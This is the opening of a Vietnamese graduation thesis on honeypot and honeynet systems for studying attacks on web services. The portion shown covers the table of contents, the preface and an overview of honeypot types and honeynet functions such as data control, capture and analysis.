Do an-Honeypots 001

161
Đồ Án Tốt Nghiệp MỤC LỤC DANH MỤC CÁC HÌNH......................................... 4 LỜI NÓI ĐẦU............................................... 7 Chương I – TỔNG QUAN VỀ HỆ THỐNG HONEYNET.................9 1. HONEYPOT.............................................. 9 1.1. Khái niệm Honeypot:................................9 1.2. Phân loại Honeypot:........................... 11 2. Honeynet............................................. 13 2.1. Khái niệm Honeynet :..............................13 2.2. Các chức năng của Honeynet........................15 2.3. Một số mô hình triển khai Honeynet trên thế giới..16 3. Vai trò và ý nghĩa của Honeynet......................20 CHƯƠNG II- MÔ HÌNH KIẾN TRÚC HONEYNET....................21 1. Mô hình kiến trúc vật lý.............................21 1.1. Mô hình kiến trúc Honeynet thế hệ I...............21 1.2. Mô hình kiến trúc Honeynet II, III................23 1.3. Hệ thống Honeynet ảo..............................24 2. Mô hình kiến trúc loggic của Honeynet................26 2.1. Module điều khiển dữ liệu (hay kiểm soát dữ liệu).27 2.1.1. Vai trò - nhiệm vụ của Module điều khiển........27 2.1.2. Cơ chế kiểm soát dữ liệu......................29 2.1.3. Kiểm soát dữ liệu trong Honeynet II...........31 2.2. Module thu nhận dữ liệu...........................36 2.2.1. Vai trò - nhiệm vụ của Module thu nhận dữ liệu 36 2.2.2. Cơ chế thu nhận dữ liệu.......................37 1 Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Transcript of Do an-Honeypots 001

Page 1: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

MỤC LỤC

DANH MỤC CÁC HÌNH...................................................................................................4

LỜI NÓI ĐẦU.....................................................................................................................7

Chương I – TỔNG QUAN VỀ HỆ THỐNG HONEYNET................................................9

1. HONEYPOT................................................................................................................9

1.1. Khái niệm Honeypot:.............................................................................................9

1.2. Phân loại Honeypot:.............................................................................................11

2. Honeynet....................................................................................................................13

2.1. Khái niệm Honeynet :..........................................................................................13

2.2. Các chức năng của Honeynet...............................................................................15

2.3. Một số mô hình triển khai Honeynet trên thế giới...............................................16

3. Vai trò và ý nghĩa của Honeynet................................................................................20

CHƯƠNG II- MÔ HÌNH KIẾN TRÚC HONEYNET......................................................21

1. Mô hình kiến trúc vật lý.............................................................................................21

1.1. Mô hình kiến trúc Honeynet thế hệ I...................................................................21

1.2. Mô hình kiến trúc Honeynet II, III.......................................................................23

1.3. Hệ thống Honeynet ảo.........................................................................................24

2. Mô hình kiến trúc loggic của Honeynet.....................................................................26

2.1. Module điều khiển dữ liệu (hay kiểm soát dữ liệu).............................................27

2.1.1. Vai trò - nhiệm vụ của Module điều khiển.......................................................27

2.1.2. Cơ chế kiểm soát dữ liệu...............................................................................29

2.1.3. Kiểm soát dữ liệu trong Honeynet II.............................................................31

2.2. Module thu nhận dữ liệu......................................................................................36

2.2.1. Vai trò - nhiệm vụ của Module thu nhận dữ liệu..........................................36

2.2.2. Cơ chế thu nhận dữ liệu.................................................................................37

2.3. Modul phân tích dữ liệu.......................................................................................43

2.3.1. Vai trò............................................................................................................43

2.3.2. Cơ chế phân tích dữ liệu................................................................................43

Chương III – MỘT SỐ KỸ THUẬT TẤN CÔNG DỊCH VỤ WEB................................46

1. Các kỹ thuật tấn công cơ bản...................................................................................481

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 2: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

1.1. Các nguy cơ mất an toàn dịch vụ web......................................................48

1.1.1. Chiếm hữu phiên làm việc (Session Mangement)....................................48

1.1.1.1. Ấn định phiên làm việc( Session Fixation)..............................................48

1.1.1.2. Đánh cắp phiên làm việc (Session Hijacking)..........................................48

1.1.2. Lợi dụng việc thiếu sót trong việc kiểm tra dữ liệu nhập hợp lệ (Input

validation) …………………………………………………………………………..48

1.1.3. Từ Chối Dịch Vụ (Denial of service (DoS)..............................................49

1.2. Tấn công SQL Injection...........................................................................49

1.2.1. Khái niệm SQL Injection..........................................................................49

1.2.2. Các dạng tấn công thường gặp.................................................................50

1.2.3. Biện pháp phòng chống............................................................................60

1.3. Chèn mã lệnh thực thi trên trình duyệt nạn nhân(Cross-Site Scripting)...63

1.3.1. Giới thiệu về XSS.....................................................................................63

1.3.2. Phương pháp tấn công XSS truyền thống.................................................63

1.3.3. Tấn công XSS bằng Flash........................................................................65

1.3.4. Cách phòng chống....................................................................................65

1.4. Tấn công từ chối dịch vụ (Deny of service - DoS)...................................66

1.4.1. Khái niệm.................................................................................................66

1.4.2. Các nguy cơ tấn công bằng DOS..............................................................67

1.4.3. Một số dạn tấn công thường gặp..............................................................67

1.4.4. Biện pháp phòng chống............................................................................71

2. Các kỹ thuật tấn công mới nhất...............................................................................72

2.1. Kiểu tấn công “padding oracle crypto”....................................................72

2.2. Evercookie................................................................................................73

2.3. Tấn công Autocomplete............................................................................73

2.4. Tấn công HTTPS bằng cache injection....................................................73

2.5. Bỏ qua bảo vệ CSRF bằng ClickJacking và HTTP Parameter Pollution. 73

2.6. Universal XSS trong IE8..........................................................................73

2.7. HTTP POST DoS.....................................................................................73

2.8. JavaSnoop.................................................................................................742

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 3: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

2.9. Tấn công qua CSS History trong Firefox không cần JavaScript cho

PortScanning trong mạng nội bộ.................................................................................74

2.10. Java Applet DNS Rebinding.....................................................................74

3. Tổng kết chung quá trình tấn công của Hacker.......................................................74

Chương IV -TRIỂN KHAI- CÀI ĐẶT- VẬN HÀNH HỆ THỐNG HONEYNET..........77

1. Mô hình triển khai thực tế..........................................................................................77

2. Cài đặt và cấu hình hệ thống Honeynet......................................................................78

2.1. Cài đặt và cấu hình Honeywall............................................................................78

2.2 Cài đặt và cấu hình Sebek.....................................................................................89

3. Vận hành hệ thống Honeynet và phân tích kỹ thuật tấn công của Hacker................91

3.1. Kịch bản tấn công.....................................................................................91

3.2. Phân tích kỹ thuật tấn công của hacker....................................................92

3.2.1. Quá trình hacker thực hiện tấn công Website...........................................92

3.2.2. Sử dụng Honeynet để phân tích kỹ thuật tấn công của Hacker..............100

3.3. Nhận xét kết quả phân tích và biện pháp khắc phục lỗi SQL-injection của

website bị tấn công trên............................................................................................111

4. Ứng dụng Honeynet trong thực tế hiện nay.............................................................113

KẾT LUẬN.....................................................................................................................114

3Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 4: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

DANH MỤC CÁC HÌNH

Hình 1.1- Các loại hình Honeypot.....................................................................................12

Hình 1.2 - Mô hình kiến trúc honeynet..............................................................................14

Hình 1.3 - Sơ đồ triển khai dự án Artemis đại học Bắc Kinh, Trung Quốc......................16

Hình 1.4 - Sơ đồ triển khai Honeynet của Greek Honeynet Project..................................17

Hình 1.5 - Sơ đồ triển khai Honeynet của UK Honeynet Project......................................19

Hình 2.1- Mô hình kiến trúc vật lý Honetnet thế hệ I........................................................21

Hình 2.2 – Một số luật Firewall đối với Honeynet............................................................22

Hình 2.3 - Mô hình kiến trúc Honeyney thế hệ II, III.......................................................24

Hình 2.4 - Mô hình kiến trúc Honeynet ảo........................................................................25

Hình 2.5 - Mô hình kiến trúc logic của Honeynet.............................................................26

Hình 2.6 - Mô hình kiểm soát dữ liệu................................................................................28

Hình 2.7 – Quá trình lọc và xử lý gói tin của IPtables......................................................32

Hình 2.8 - Sơ đồ kiểm soát dữ liệu....................................................................................33

Hình 2.9 - Quá trình hoạt động này của Snort_inline........................................................35

Hình 2.10 - Cơ chế làm việc của Snort_inline..................................................................36

Hình 2.11 - Sơ đồ thu nhận dữ liệu....................................................................................38

Hình 2.12 - Nhật ký sử dụng thu nhận dữ liệu trên Honeynet...........................................39

Hình 2.13 - Mô hình hoạt động của Sebek........................................................................40

Hình 2.14 - Sebek client thu nhận dữ liệu.........................................................................42

Hình 2.15 - Sơ đồ kiến trúc Honeywall.............................................................................44

Hình 2.16 - Giao diện của Walleye...................................................................................45

Hình 2 17 – Cách phương thức tấn công năm 2011..........................................................47

Hình 3.1 - Tấn công DOS truyền thống.............................................................................67

Hình 3.2 – Kiểu tấn công DOS vào băng thông................................................................69

Hình 3.3 - Tấn công DDOS...............................................................................................70

4Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 5: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 3.4 - Tấn công kiểu DRDoS.....................................................................................71

Hình 4.1 - Mô hình triển khai thực tế................................................................................77

Hình 4.2 - Màn hình cài đặt Honeywall............................................................................78

Hình 4.3 - Màn hình cấu hình Honeywall.........................................................................79

Hình 4.4 - Cấu hình các địa chỉ IP Public cho các Honeypots..........................................86

Hình 4.5 – Cấu hình địa chỉ IP đích cho các gói tin Sebek...............................................86

Hình 4.6 – Hình cấu hình lựa chọn Honeywall xử lý các gói tin Sebek............................87

Hình 4.7 - Cấu hình địa chỉ IP cho Management Interface ( eth2 )...................................87

Hình 4.8 - Cấu hình default gateway cho Managemant Interface.....................................87

Hình 4.9 - Sau khi cấu hình xong thì Honeywall Resart các dịch vụ................................88

Hình 4.10 - Giao diện quản lý Honeywall.........................................................................88

Hình 4.11 - Cấu hình Sebek Client trên Windows............................................................90

Hình 4.12 - Kịch bản tấn công hệ thống Honeynet...........................................................91

Hình 4.13 – Giao diện của website sẽ bị tấn công.............................................................92

Hình 4.14 – Thông báo lỗi để lộ website bị mắc lỗi SQL-injection..................................93

Hình 4.15 – Thông báo vị trí cột có thể chèn câu lệnh SQL.............................................94

Hình 4.16 – Tên cơ sở dữ liệu cần tìm...............................................................................95

Hình 4.17 – Danh sách các table trong CSDL genu..........................................................96

Hình 4.18 – Danh sách các column trong table genu_users..............................................97

Hình 4.19 – Thông tin username/password cần tìm..........................................................98

Hình 4.20 – Password được giải mã..................................................................................98

Hình 4.21 – Giao diện trang web lúc ban đầu...................................................................99

Hình 4.22 – Giao diện trang web khi bị deface.................................................................99

Hình 4.23 -Tổng quan luồng dữ liệu vào/ra hệ thổng Honeynet.....................................100

Hình 4.24 - Chuỗi các gói tin thu nhận trên Walleye......................................................101

Hình 4.25 - Nội dung gói tin chứa mã độc SQL được tiêm vào......................................101

Hình 4.26 - Nội dung gói tin trả về tương ứng với gói tin trên.......................................102

Hình 4.27 - Nội dung gói tin khi hacker thực hiện thành công bước đầu.......................103

5Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 6: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 4.28 - Nội dung gói tin webserver trả về................................................................103

Hình 4.29 - Nội dung gói tin hacker khai thác thông tin database..................................104

Hình 4.30- Nội dung gói tin chứa thông tin là tên database............................................104

Hình 4.31 - Nội dung gói tin hacker tiêm vào.................................................................105

Hình 4.32 - Nội dung gói tin hiển thị danh sách các table trong genu............................105

Hình 4.33 - Nội dung gói tin hacker tiêm vào khai thác các column..............................106

Hình 4.34 - Nội dung gói tin chứa thông tin các colomn trong genu_users....................106

Hình 4.35 - Nội dung gói tin chứa đoạn mã hacker tiêm vào để lấy thông tin admin.....107

Hình 4.36 - Nội dung gói tin chứa thông tin tài khoản admin.........................................107

Hình 4.37 - Nội dung gói tin thông báo website bị tấn công...........................................108

Hình 4.38 - Nội dung gói tin thông báo website bị deface..............................................108

Hình 4.39 - Website ban đầu...........................................................................................109

Hình 4.40 - Website bị deface.........................................................................................109

Hình 4.41 - Gói tin hacker sử dụng để kiểm tra lỗi SQL Injection.................................110

Hình 4.42 - Gói tin biểu hiện lỗi SQL Injection..............................................................110

Hình 4.43 - Nội dung file read.php ban đầu....................................................................112

Hình 4.44 - Nội dung file read.php sau khi sửa...............................................................112

Hình 4.45 - Kết quả sau khi fix lỗi SQL Injection...........................................................113

6Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 7: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

LỜI NÓI ĐẦU

Ngày nay, Công nghệ thông tin đang phát triển với tốc độ “vũ bão”, bên cạnh

những mặt tích cực và lợi ích to lớn mà Xã hội thông tin mang lại cho nhân loại thì lại

tồn tại các mặt tiêu cực như : các nguy cơ tấn công mạng nhằm phá hoại hệ thống mạng,

nguy cơ bị đánh cắp các thông tin “nhạy cảm “ của cá nhân, các tổ chức, doanh nghiệp,

các cơ quan Nhà nước ….. Để ngăn chặn lại những nguy cơ này, đòi hỏi các Cơ quan, tổ

chức, doanh nghiệp, phải tổ chức xây dựng các Hệ thống an ninh mạng nhằm đảm bảo an

toàn cho Hệ thống mạng của Cơ quan mình.

Và trong vô số các biện pháp ngăn chặn đó, thì "Honeypot" (tạm gọi là Mắt ong)

và "Honeynet" (tạm gọi là Tổ ong) được coi là một trong những cạm bẫy hết sức hiệu

quả, được thiết kế với mục đích này. Đối với các tin tặc thì Hệ thống này quả là những “

Cạm bẫy đáng sợ ”; vì vậy, giới Hacker thường xuyên thông báo – cập nhật các hệ thống

Honeynet mới được triển khai trên thế giới ở các diễn đàn Hacker, nhằm tránh “sa bẫy”

những hệ thống Honeynet này.

Khác với các hệ thống An ninh mạng khác như: Hệ thống phát hiện xâm nhập và

chống xâm nhập ( IDS - IPS ), Hệ thống Firewall,…, được thiết kế làm việc thụ động

trong việc phát hiện - ngăn chặn sự tấn công của tin tặc ( Hacker ) vào hệ thống mạng; thì

Honeynet lại được thiết kế nhằm chủ động lôi kéo Hacker tấn công vào hệ thống giả

được bố trí bên cạnh hệ thống thật nhằm mục đích:

Thu thập các kỹ thuật – phương pháp tấn công, các công cụ mà Hacker sử dụng,

đặc biệt là các kỹ thuật tấn công mạng mới , các mẫu virus- mã độc mới.

Giúp chúng ta sớm phát hiện ra các lỗ hổng bảo mật tồn tại trên các sản phẩm công

nghệ thông tin đã triển khai - cài đặt trên Hệ thống thật. Từ đó, sớm có biện pháp

ứng phó - khắc phục kịp thời. Đồng thời, cũng kiểm tra độ an toàn của hệ thống

mạng, các dịch vụ mạng ( như : Web, DNS, Mail,…), và độ an toàn - tin cậy -

chất lượng của các sản phẩm thương mại công nghệ thông tin khác ( đặc biệt là

các Hệ điều hành như : Unix, Linux, Window,…).

Thu thập các thông tin, dấu vết của Hacker ( như : địa chỉ IP của máy Hacker sử

dụng tấn công, vị trí địa lý của Hacker, thời gian Hacker tấn công,…). Từ đó,

giúp chuyên gia an ninh mạng truy tìm thủ phạm.7

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 8: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Tuy nhiên, do điều kiện thời gian có hạn nên trong “Đồ án tốt nghiệp” chỉ trình bày

nội dung “Nghiên cứu Hệ thống Honeypots và Honeynet nhằm nghiên cứu một số kỹ

thuật tấn công dịch vụ Web”, nhờ đó giúp chúng ta sớm phát hiện và kịp thời khắc phục

các lỗi hổng bảo mật tồn tại trên dịch vụ Web. Em hi vọng thông qua nội dung trình bày

nghiên cứu của em dưới đây sẽ giúp chúng ta hiểu được Hệ thống Honeynet cùng với vai

trò - tác dụng to lớn của Hệ thống này trong nhiệm vụ đảm bảo An ninh mạng hiện nay.

Chương I – TỔNG QUAN VỀ HỆ THỐNG HONEYNET

Chương này sẽ trình bày kiến thức tổng quan, cơ bản về Honeynet bao gồm: nguồn

gốc, quá trình phát triển của Honeynet; các khái niệm về Honeypot, Honeynet, phân loại

Honeypot; và chức năng, vai trò, ý nghĩa của Honeynet trong nhiệm vụ đảm bảo an ninh

mạng, cùng với một số mô hình triển khai Honeynet trên thế giới.

8Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 9: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

1. HONEYPOT

1.1. Khái niệm Honeypot:

Honeypot là một công nghệ mới với tiềm năng khổng lồ cho cộng đồng bảo mật.

Định nghĩa đầu tiên được đưa ra đầu tiền bởi một vài biểu tượng về bảo mật máy tính, cụ

thể là Cliff Stoll trong cuốn sách “The Cuckoo’s Egg” và trong bài báo của Bill

Cheswick. Từ đó, Honeypot tiếp tục được phát triển với những công cụ bảo mật mạnh mẽ

mà chũng ta biết cho đến nay.

Thuật ngữ “Honeypot” được nhắc đến lần đầu tiên vào ngày 4 tháng 8 năm 1999

trong bài báo “To Buil a Honeypot” của tác giả Lance Spitzner – một trong những người

đứng ra thành lập dự án Honeynet ( Honeynet Project ), giới thiệu về ý tưởng xây dựng

hệ thống Honeynet nhằm mục đích nghiên cứu các kỹ thuật tấn công của Hacker; từ đó,

có biện pháp ngăn chặn tấn công kịp thời. Và tháng 6 năm 2000, dự án Honeynet được

thành lập bởi 30 chuyên gia an ninh mạng ở các Công ty bảo mật như: Foundstone,

Security Focus, Source Fre, …., tình nguyện tham gia nghiên cứu phi lợi nhuận.

Dự án Honeynet được triển khai ở 8 quốc gia ( Mỹ, Ấn Độ, Hy Lạp,…) với 12 trạm

Honeynet, bao gồm 24 hệ thống Unix và 19 hệ thống Linux, cùng với một số hệ thống

khác như : Suse 6.3, Suse 7.1,Window,…

Bước đầu tiên để hiểu được Honeypot thì trước hết phải hiểu Honeypot là cái gì?Nó

không giống như firewall, hay hệ thống IDS, Honeypot không giải quyết cụ thể một vấn

đề nào đó. Thay vào đó, nó là một công cụ rất linh hoạt trong đó có nhiều hình dạng và

kích cỡ. Nó có thể làm tất cả mọi thứ từ phát hiện các cuộc tấn công mã hóa trong các

mạng IPv6. Sự linh hoạt này cung cấp một sức mạnh thực sự cho Honeypot. Nó cũng là

sự hỗn hợp làm cho kẻ tấn công khó xác định và hiểu.

Honeypot là một hệ thống tài nguyên thông tin được xây dựng với mục đích giả

dạng đánh lừa những kẻ sử dụng và xâm nhập không hợp pháp, thu hút sự chú ý của

chúng, ngăn không cho chúng tiếp xúc với hệ thống thật. Honeypot có thể được xem như

“Mắt ong”; và tất nhiên là Honeypot cũng có phải có “Mật ngọt” – tức là có chứa các Hệ

thống tài nguyên thông tin có giá trị, nhạy cảm, có tính bí mật như : thông tin về chứng

khoán, thông tin tài khoản ở các ngân hàng, thông tin bí mật an ninh quốc gia…., để làm

“mồi” dụ Hacker chú ý đến tấn công. 9

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 10: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hệ thống tài nguyên thông tin có nghĩa là Honeypot có thể giả dạng bất cứ loại máy

chủ tài nguyên nào như là Mail Server, Domain Name Server, Web Server…, được cài

đặt chạy trên bất cứ Hệ điều hành nào như: Linux ( Red hat, Fedora…), Unix( Solaris),

Window ( Window NT, Window 2000, Window XP, Window 2003, Vista,…..),

….Honeypot sẽ trực tiếp tương tác với tin tặc và tìm cách khai thác thông

tin về tin tặc như hình thức tấn công, công cụ tấn công hay cách thức tiến hành tấn thay vì

bị tấn công.

- Ưu điểm của Honeypot: Honeypot là một khái niệm rất đơn giản, trong đó cung

cấp một số đặc điểm mạnh mẽ.

Dữ liệu nhỏ được đặt giá trị cao: Honeypot thu thập một lượng nhỏ thông tin.

Thay vì đăng nhập một GB dữ liệu một ngày, họ chỉ phải đăng nhập một MB

dữ liệu một ngày. Thay vì tạo ra 10.000 cảnh báo mỗi ngày, nó có thể chỉ tạo 10

thông báo mỗi ngày. Hãy nhớ rằng, Honeypot chỉ nắm bắt các hành động xấu,

bất kỳ sự tương tác với Honeypot như không xác thực hay các hành động độc

hại. Như vậy, Honeypot đã giảm thiểu được “tiếng ồn”, có nghĩ là với bộ thu

thập dữ liệu nhỏ, nhưng thông tin có giá trị cao, nhưng đó chỉ là những hành

động xấu. Điều này có nghĩa là sẽ dễ dàng hơn nhiều để phân tích các dữ liệu

mà Honeypot thu thập và lấy được giá trị từ nó.

Công cụ và chiến thuật mới: Honeypots được thiết kế để nắm bắt tất cả những

gì được tương tác vào nó, bao gồm các công cụ, chiến thuật không bao giờ thấy

trước.

Nguồn lực tối thiểu: Honeypots yêu cầu nguồn lực tối thiểu, nó chỉ nắm bắt các

hoạt động xấu. Điều này có nghĩa là một máy tính 128MB bộ nhớ RAM có thể

dễ dàng xử lý một mạng lớp B toàn bộ ngồi một mạng OC-12.

Mã hóa hay IPv6: Không giống như hầu hết các công nghệ bảo mật( như hệ

thống IDS) các Honeypots làm việc tốt trong môi trường mã hóa hay IPv6. Nó

không phân biệt những điều gì tương tác với nó. Nó chỉ nắm bắt các hành động

xấu.

Thông tin: Honeypots có thể thu thập một vài thông tin chi tiết.

Honeypots là công nghệ đơng giản, ít có nhưng sai lầm hoặc cấu hình sai.10

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 11: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

- Nhược điểm của Honeypot: Giống như nhiều công nghệ, các Honeypots cũng có

những yếu điểm. Đó là do chúng không thể thay thế các công nghệ hiện tại, nhưng

làm việc với các công nghệ hiện có.

Hạn chế View: Honeypots chỉ có thể theo dõi và nắm bắt hoạt động trực tiếp

tương tác với họ. Honeypots sẽ không nắm bắt các cuộc tấn công chống lại các

hệ thống khác, trừ khi kẻ tấn công hoặc đe dọa tương tác với các honeypots.

Rủi ro: Tất cả các công nghệ bảo mật đều có nguy cơ. Tường lửa có nguy cơ bị

xâm nhập, mã hóa có nguy cơ bị phá vỡ, các cảm biến IDS có nguy cơ không

phát hiện các cuộc tấn công. Honeypots cũng không phải là trường hợp khác,

honeypots có nguy cơ được thực hiện trên của kẻ xấu và được sử dụng để gây

tổn hại cho các hệ thống khác. Có rất nhiều nguy cơ khác nhau dẫn đến sự khác

nhau của Honeypots.

1.2. Phân loại Honeypot:

Honeypot được chia làm hai loại chính: Tương tác thấp và tương tác cao

Tương tác thấp: Honeypot chỉ cài đặt chương trình (chẳng hạn như: Honeyd,

BackOfficer Friendly, Specter,) mô phỏng giả các dịch vụ, ứng dụng, và hệ điều

hành. Loại này có mức độ rủi ro thấp, dễ triển khai và bảo dưỡng nhưng lại bị

giới hạn về dịch vụ.

Tương tác cao: Honeypot được cài đặt, chạy các dịch vụ, ứng dụng và hệ điều

hành thực ( Chẳng hạn như Honeynet ). Loại này có mức độ thông tin thu thập

được cao nhưng mức độ rủi ro cao và tốn thời gian để vận hành và bảo dưỡng.

11Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 12: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 1.1- Các loại hình Honeypot

Một số ví dụ về các loại honeypot :

a) BackOfficer Friendly (BOF): là một loại hình Honeypot rất dễ vận hành và cấu

hình và có thể hoạt động trên bất kì phiên bản nào của Windows và Unix nhưng nhược

điểm của nó là chỉ tương tác được với một số dịch vụ đơn giản như FTP, Telnet,

SMTP…

b) Specter: đây cũng là loại hình Honeypot tương tác thấp nhưng có khả năng tương tác

tốt hơn so BackOfficer, loại Honeypot này có thể giả lập trên 14 cổng ( Port ); và có thể

cảnh báo, quản lý từ xa. Tuy nhiên, cũng giống như BackOfficer thì Specter có nhược

điểm là bị giới hạn số dịch vụ và không linh hoạt.

c) Honeyd:

* Loại Honeypot này có thể lắng nghe trên tất cả các cổng TCP và UDP, những

dịch vụ mô phỏng được thiết kế với mục đích ngăn chặn và ghi lại những cuộc tấn công,

tương tác với kẻ tấn công trong vai trò là một hệ thống nạn nhân.

* Hiện nay, Honeyd có nhiều phiên bản và có thể mô phỏng được khoảng 473 hệ

điều hành.

* Honeyd là loại hình Honeypot tương tác thấp có nhiều ưu điểm tuy nhiên Honeyd

có nhược điểm là không thể cung cấp một hệ điều hành thật để tương tác với tin tặc và

không có cơ chế cảnh báo khi phát hiện hệ thống bị xâm nhập hoặc gặp phải nguy hiểm.

2. Honeynet

2.1. Khái niệm Honeynet :

Một trong các công cụ chính mà Nhóm dự án Honeynet sử dụng để thu thập thông tin

là Honeynet. Honeynet khác với các hệ thống Firewall, hệ thống phát hiện và ngăn chặn

xâm nhập, hệ thống mã hóa ở chỗ : các hệ thống tuy đều có khả năng bảo vệ hệ thống

mạng và tài nguyên mạng nhưng các hệ thống này đều là thực hiện nhiệm vụ “Phòng

thủ”, mang tính thụ động; ngược lại, Honeynet lại là hệ thống chủ động lôi kéo, thu hút

12Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 13: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

sự chú ý và tấn công của Hacker nhằm thu thập các thông tin của Hacker như: Kỹ thuật

tấn công của Hacker, công cụ Hacker sử dụng, các loại mã độc mới được xuất hiện,....

Honeynet (tạm gọi là “Tổ ong”) là một hình thức của honeypot tương tác cao. Khác

với các honeypot khác, Honeynet là một hệ thống thật, hoàn toàn giống một mạng làm

việc bình thường ; và Honeynet cung cấp các hệ thống, ứng dụng, các dịch vụ thật như :

Web, Mail, File server,...

Hệ thống Honeynet có thể triển khai xây dưng ở nhiều cơ quan, tổ chức với nhiều

mục đích khác nhau như: Các cơ quan nhà nước, doanh nghiệp có thể sử dụng Honeynet

nhằm kiểm tra độ an toàn của hệ thống mạng của mình và ngăn chặn kẻ tấn công tấn

công vào hệ thống thật; các cơ quan, tổ chức, doanh nghiệp hoạt động trong lĩnh vực an

ninh mạng có thể sử dụng Honeynet nhằm thu thập các loại mã độc hại mới như: virus,

worm, spyware, trojan,… , để kịp thời viết chương trình cập nhật diệt mã độc cho sản

phẩm Anti-virus của công ty mình…..

Nhiệm vụ quan trọng nhất khi Triển khai xây dựng – cài đặt một hệ thống Honeynet

chính là Honeywall. Honeywall là gateway ở giữa honeypot và mạng bên ngoài. Nó hoạt

động ở tầng 2 như là Bridged.

Các luồng dữ liệu khi vào và ra từ honeypot đều phải đi qua Honeywall. Để kiểm soát

các luồng dữ liệu này, cũng như thu thập các dấu hiệu tấn công, và ngăn chặn tấn công

của các Hacker thì Honeywall sử dụng hai công cụ chính là:

* Một là IDS Snort (hay còn gọi là IDS sensor) gồm có các luật ( Rule ) định nghĩa

các dấu hiệu tấn công, và thực hiện hiện bắt các gói tin ( Packet ).

* Hai là Firewall Iptables gồm có các luật (Rule) định nghĩa sự cho phép (Allow )

hoặc không cho phép ( Deny ) các truy cập từ bên ngoài vào hoặc bên trong hệ thống ra,

và kiểm soát các luồng dữ liệu qua Honeywall.

Dưới đây là một ví dụ về Honeynet:

13Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 14: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 1.2 - Mô hình kiến trúc honeynet

Với mô hình này Honeywall gồm có 3 card mạng là : eth0, eth1, eth2 . Card mạng

eth0 thì kết nối với Production Network, card eth1 thì kết nối với các Honeypot, còn card

thứ 3 kết nối với Router. Khi Hacker từ bên ngoài Internet tấn công vào hệ thống thì các

Honeypot sẽ đóng vai trò là hệ thống thật tương tác với Hacker, và thực hiện thu thập các

thông tin của Hacker như : địa chỉ IP của máy Hacker sử dụng, Kỹ thuật Hacker tấn

công, các công cụ mà Hacker sử dụng …. Các thông tin này đều sẽ bị ghi lại trên

Honeywall, và được các chuyên gia an ninh mạng sử dụng để phân tích kỹ thuật tấn công

của Hacker ; qua đó, đánh giá được mức độ an toàn của hệ thống, và có biện pháp kịp

thời khắc phục các điểm yếu tồn tại trong hệ thống .

2.2. Các chức năng của Honeynet

a. Điều khiển dữ liệu: chức năng này sẽ thực hiện các công việc sau :

- Khi Hacker sử dụng các mã độc ( như : virus, trojan, spyware, worm,…) để thâm

nhập vào Hệ thống Honeynet, thì hai công cụ IDS Snort và Firewall Iptable ở trên

Honeywall sẽ thực hiện kiểm soát các hoạt động của các loại mã độc này, cũng như các

hành vi mà Hacker thực hiện trên hệ thống ; đồng thời đưa ra các cảnh báo cho người

quản lý hệ thống biết để kịp thời sử lý.

14Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 15: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

- Các luồng dữ liệu khi đi vào không bị hạn chế, nhưng khi đi ra ngoài thì sẽ bị hạn

chế . Chính vì vậy, mà Hacker sẽ rất khó khăn, thậm trí nếu Hệ thống Honeynet được

Cấu hình tốt thì Hacker sẽ không thể thu thập được đầy đủ thông tin về hệ thống của ta,

điều này cũng có nghĩa là Hacker sẽ không thể thâm nhập thành công vào hệ thống

mạng.

b. Thu nhận dữ liệu: Khi dữ liệu đi vào thì honeynet sẽ xem xét và ghi lại tất cả các

hoạt động có tính phá hoại và sau đó sẽ phân tích các động cơ hoạt động của tin tặc. Và

chính công cụ IDS Snort trên Honeywall thực hiện chức năng này. Dựa trên các luật

( rule) định nghĩa dấu hiệu tấn công mà Snort sẽ cho rằng một hoạt động có được coi là

hoạt động có tính phá hoại hay không, nếu phải nó sẽ thực hiện ghi lại log và đưa ra các

cảnh báo. Nhờ vậy, mà toàn bộ qúa trình tấn công của Hacker đều sẽ được ghi lại một

cách chi tiết.

c. Phân tích dữ liệu: Mục đích chính của honeynet chính là thu thập thông tin. Khi đã

có thông tin thì người dùng cần phải có khả năng để phân tích các thông tin này. Để thực

hiện tốt công việc này, đòi hỏi người phân tích phải có một kiến thức rất tốt về an ninh

mạng, phải am hiểu về các kỹ thuật tấn công mạng. Vì vậy, thông thường người thực

hiện phân tích thường là các chuyên gia an ninh mạng.

d. Thu thập dữ liệu: Trong tường hợp hệ thống triển khai nhiều Honeynet thì phải thu

thập dữ liệu từ các honeynet về một nguồn tập trung. Thường thì chỉ có các các tổ chức,

trung tâm an ninh mạng lớn có quy mô toàn cầu thì họ mới triển khai nhiều honeynet,

đặc biệt là các Công ty cung cấp các sản phẩm diệt virus như: Trend Micro,

Symantec….. Còn đa số các tổ chức chỉ có một honeynet.

2.3. Một số mô hình triển khai Honeynet trên thế giới

Dưới đây là một số mô hình triển khai hệ thống Honeynet trên thế giới nhằm nghiên

cứu, thu thập thông tin kỹ thuật tấn công của Hacker trên mạng:

